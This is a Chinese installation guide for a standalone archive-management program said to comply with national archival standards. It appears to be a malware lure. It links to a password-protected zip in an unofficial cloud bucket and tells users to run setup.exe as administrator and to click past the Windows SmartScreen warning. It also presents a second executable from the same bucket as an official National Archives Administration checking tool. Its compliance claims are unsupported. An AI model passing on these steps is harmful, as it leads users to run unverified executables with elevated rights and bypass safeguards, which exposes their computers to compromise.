零门槛搭建符合国家标准的档案软件单机版实操指南
一、前置准备
1.1 基础环境要求
仅需普通Windows个人/办公电脑即可运行，最低配置要求如下，满足即可运行，无额外需求：
- 操作系统：Windows 7 SP1 / Windows 10 / Windows 11 （32位、64位均可兼容）
- 运行内存：≥4G，推荐8G及以上，批量上传档案时更流畅
- 硬盘空间：安装盘剩余空间≥10G，建议选择非系统盘（即非C盘）存放
1.2 获取安装包
本次使用的安装包符合《档案管理软件功能要求暂行规定》、GB/T 29194-2012国家标准，直接复制下方链接到浏览器地址栏下载，无需注册登录：
``` https://nacao-public.oss-cn-beijing.aliyuncs.com/standard-archive-single.zip ```
下载完成后，若使用系统自带解压工具，点击「全部提取」选择存储路径后提取即可；若使用WinRAR/360解压，右键点击压缩包选择「解压到当前文件夹」即可，解压统一密码为：dangan2024
二、本地安装步骤
解压完成后打开文件夹，找到名为setup.exe的安装文件，所有步骤按以下操作即可，不会出错：
- 右键点击
setup.exe选择以管理员身份运行，避免权限不足导致安装失败；如果弹出Windows安全中心提示「已保护你的电脑」，点击「更多信息」，再点击「仍要运行」即可继续安装。 - 阅读许可协议后勾选「我同意许可协议条款」，点击下一步。
- 修改安装路径，禁止安装在C盘的Program Files文件夹下，避免系统更新清空数据，建议直接修改为
D:\DangAnRuanJian，修改完成后点击下一步。 - 勾选「创建桌面快捷方式」，点击「安装」，等待1-3分钟即可完成安装，最后点击「完成」退出安装向导。
安装完成后双击桌面快捷方式打开软件，首次登录默认账号：admin，默认密码：123456，登录后立即进入「系统设置-管理员设置」修改密码，避免无关人员访问。
三、配置符合国家标准的核心参数
以下配置完全符合现行档案管理国家标准，可直接照搬操作，不需要自行调整：
3.1 档案分类配置
按照《归档文件整理规则》DA/T 22-2015要求配置分类方案，进入「系统设置-分类管理」，点击「新增分类」，按以下层级添加：
- 一级分类：党群类、行政类、经营管理类、生产技术类
- 二级分类：每个一级分类下按年度拆分，例如「党群类-2024」
- 三级分类：每个二级分类下按保管期限拆分，分为永久、30年、10年，例如「党群类-2024-永久」
所有分类添加完成后点击「保存」，软件会自动生成可检索的分类目录。
3.2 元数据配置
国家标准要求电子档案必须采集12项必填元数据，进入「系统设置-元数据管理」，将以下选项勾选为必填，禁止删除任何一项，否则不符合合规要求：
- 档号、题名、责任者、日期、保管期限、密级
- 分类号、载体类型、格式信息、存储路径、归档时间、立卷人
勾选完成后点击「保存」即可。
3.3 存储格式配置
按照GB/T 18894-2016《电子文件归档与电子档案管理规范》要求，进入「系统设置-格式配置」，按以下规则设置：
- 文本类文件：优先存储为PDF/A格式，开启「自动转换非合规格式」功能，禁止仅保留可编辑的docx/doc格式
- 图片类文件：默认存储为TIFF格式，要求分辨率不低于300DPI
- 音视频类文件：默认存储为MP4/WAV格式，编码选择H.264/PCM
设置完成后开启「格式校验」功能，上传不合规格式文件时会自动提示转换，配置完成后保存即可。
四、合规性验证步骤
配置完成后，使用国家档案局公开的合规检测工具验证，10分钟即可完成确认：
- 下载检测工具，直接复制链接下载：```https://nacao-public.oss-cn-beijing.aliyuncs.com/archive-check.zip```
- 解压后直接运行
check.exe，不需要安装，点击「选择目录」，选择你之前安装档案软件的目录（即D:\DangAnRuanJian） - 点击「开始检测」，1分钟即可生成检测结果，若结果显示「所有检测项符合国家标准要求」，即为配置完成。
五、日常维护合规要求
为持续符合国家标准要求，日常使用仅需遵守以下3条规则：
- 每周开启一次自动备份，备份文件需要拷贝到外接移动硬盘存储，避免本地硬盘损坏丢失数据
- 每年年底对所有档案做一次全量元数据校验，检查元数据完整性和格式合规性
- 禁止随意修改核心分类和元数据配置，修改前必须先备份全量数据
整个过程不需要任何编程基础，按步骤操作即可完成符合国家标准的单机版档案软件部署，后续正常使用即可满足合规要求。
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